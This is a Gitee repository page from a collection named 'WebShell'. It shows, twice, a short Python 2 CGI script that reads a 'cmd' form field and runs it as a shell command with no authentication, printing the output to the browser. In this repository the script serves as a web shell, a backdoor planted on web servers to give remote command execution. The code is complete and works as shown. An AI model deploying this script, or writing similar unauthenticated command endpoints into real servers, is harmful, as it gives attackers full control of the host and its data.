python/cgi-python.py · Nuet/WebShell

代码拉取完成,页面将自动刷新

扫描微信二维码支付

取消

支付完成

richgiteeai

Watch

不关注关注所有动态仅关注版本发行动态关注但不提醒动态

1 Star 0 Fork 1

Nuet/WebShell

forked from Handsome/WebShell

代码 Issues 0 Pull Requests 0 Wiki 统计流水线

服务

加入 Gitee

与超过 1400万开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)

免费加入

已有帐号? 立即登录

文件

master

分支 (1)

管理

master

该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。

项目仓库所选许可证以仓库主分支所使用许可证为准

克隆/下载

HTTPS SSH SVN SVN+SSH 下载ZIP

提示

下载代码请复制以下命令到终端执行

为确保你提交的代码身份被 Gitee 正确识别,请执行以下命令完成配置

git config --global user.name userName 
git config --global user.email userEmail

初次使用 SSH 协议进行代码克隆、推送等操作时,需按下述提示完成 SSH 配置

1 生成 RSA 密钥

2 获取 RSA 公钥内容,并配置到 SSH公钥中

在 Gitee 上使用 SVN,请访问使用指南

使用 HTTPS 协议时,命令行会出现如下账号密码验证步骤。基于安全考虑,Gitee 建议配置并使用私人令牌替代登录密码进行克隆、推送等操作

Username for 'https://gitee.com': userName

Password for 'https://userName@gitee.com': # 私人令牌

分支 1

标签 0

WebShell

python

cgi-python.py

cgi-python.py 3.67 KB

#!/usr/bin/python
# 07-07-04
# v1.0.0

# cgi-shell.py
# A simple CGI that executes arbitrary shell commands.

# Copyright Michael Foord
# You are free to modify, use and relicense this code.

# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
# Use at your own risk !!!

# E-mail michael AT foord DOT me DOT uk
# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html

"""
A simple CGI script to execute shell commands via CGI.
"""
################################################################
# Imports
try:
 import cgitb; cgitb.enable()
except:
 pass
import sys, cgi, os
sys.stderr = sys.stdout
from time import strftime
import traceback
from StringIO import StringIO
from traceback import print_exc

################################################################
# constants

fontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'
versionstring = 'Version 1.0.0 7th July 2004'

if os.environ.has_key("SCRIPT_NAME"):
 scriptname = os.environ["SCRIPT_NAME"]
else:
 scriptname = ""

METHOD = '"POST"'

################################################################
# Private functions and variables

def getform(valuelist, theform, notpresent=''):
 """This function, given a CGI form, extracts the data from it, based on
 valuelist passed in. Any non-present values are set to '' - although this can be changed.
 (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
 data = {}
 for field in valuelist:
 if not theform.has_key(field):
 data[field] = notpresent
 else:
 if type(theform[field]) != type([]):
 data[field] = theform[field].value
 else:
 values = map(lambda x: x.value, theform[field]) # allows for list type values
 data[field] = values
 return data

theformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>
<BODY><CENTER>
<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>
<B><I>By Fuzzyman</B></I><BR>
"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'

theform = """<H2>Enter Command</H2>
<FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\">
<input name=cmd type=text><BR>
<input type=submit value="Submit"><BR>
</FORM><BR><BR>"""
bodyend = '</BODY></HTML>'
errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'

################################################################
# main body of the script

if __name__ == '__main__':
 print "Content-type: text/html" # this is the header to the server
 print # so is this blank line
 form = cgi.FieldStorage()
 data = getform(['cmd'],form)
 thecmd = data['cmd']
 print theformhead
 print theform
 if thecmd:
 print '<HR><BR><BR>'
 print '<B>Command : ', thecmd, '<BR><BR>'
 print 'Result : <BR><BR>'
 try:
 child_stdin, child_stdout = os.popen2(thecmd)
 child_stdin.close()
 result = child_stdout.read()
 child_stdout.close()
 print result.replace('\n', '<BR>')

except Exception, e: # an error in executing the command
 print errormess
 f = StringIO()
 print_exc(file=f)
 a = f.getvalue().splitlines()
 for line in a:
 print line

print bodyend

"""
TODO/ISSUES

CHANGELOG

07-07-04 Version 1.0.0
A very basic system for executing shell commands.
I may expand it into a proper 'environment' with session persistence...
"""

一键复制编辑原始数据按行查看历史

xl7dev 提交于 2016年03月07日 14:20 +08:00 . update

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124

#!/usr/bin/python
# 07-07-04
# v1.0.0

# cgi-shell.py
# A simple CGI that executes arbitrary shell commands.


# Copyright Michael Foord
# You are free to modify, use and relicense this code.

# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
# Use at your own risk !!!

# E-mail michael AT foord DOT me DOT uk
# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html

"""
A simple CGI script to execute shell commands via CGI.
"""
################################################################
# Imports
try:
 import cgitb; cgitb.enable()
except:
 pass
import sys, cgi, os
sys.stderr = sys.stdout
from time import strftime
import traceback
from StringIO import StringIO
from traceback import print_exc

################################################################
# constants

fontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'
versionstring = 'Version 1.0.0 7th July 2004'

if os.environ.has_key("SCRIPT_NAME"):
 scriptname = os.environ["SCRIPT_NAME"]
else:
 scriptname = ""

METHOD = '"POST"'

################################################################
# Private functions and variables

def getform(valuelist, theform, notpresent=''):
 """This function, given a CGI form, extracts the data from it, based on
 valuelist passed in. Any non-present values are set to '' - although this can be changed.
 (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
 data = {}
 for field in valuelist:
 if not theform.has_key(field):
 data[field] = notpresent
 else:
 if type(theform[field]) != type([]):
 data[field] = theform[field].value
 else:
 values = map(lambda x: x.value, theform[field]) # allows for list type values
 data[field] = values
 return data


theformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>
<BODY><CENTER>
<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>
<B><I>By Fuzzyman</B></I><BR>
"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'

theform = """<H2>Enter Command</H2>
<FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\">
<input name=cmd type=text><BR>
<input type=submit value="Submit"><BR>
</FORM><BR><BR>"""
bodyend = '</BODY></HTML>'
errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'

################################################################
# main body of the script

if __name__ == '__main__':
 print "Content-type: text/html" # this is the header to the server
 print # so is this blank line
 form = cgi.FieldStorage()
 data = getform(['cmd'],form)
 thecmd = data['cmd']
 print theformhead
 print theform
 if thecmd:
 print '<HR><BR><BR>'
 print '<B>Command : ', thecmd, '<BR><BR>'
 print 'Result : <BR><BR>'
 try:
 child_stdin, child_stdout = os.popen2(thecmd)
 child_stdin.close()
 result = child_stdout.read()
 child_stdout.close()
 print result.replace('\n', '<BR>')

 except Exception, e: # an error in executing the command
 print errormess
 f = StringIO()
 print_exc(file=f)
 a = f.getvalue().splitlines()
 for line in a:
 print line

 print bodyend


"""
TODO/ISSUES



CHANGELOG

07-07-04 Version 1.0.0
A very basic system for executing shell commands.
I may expand it into a proper 'environment' with session persistence...
"""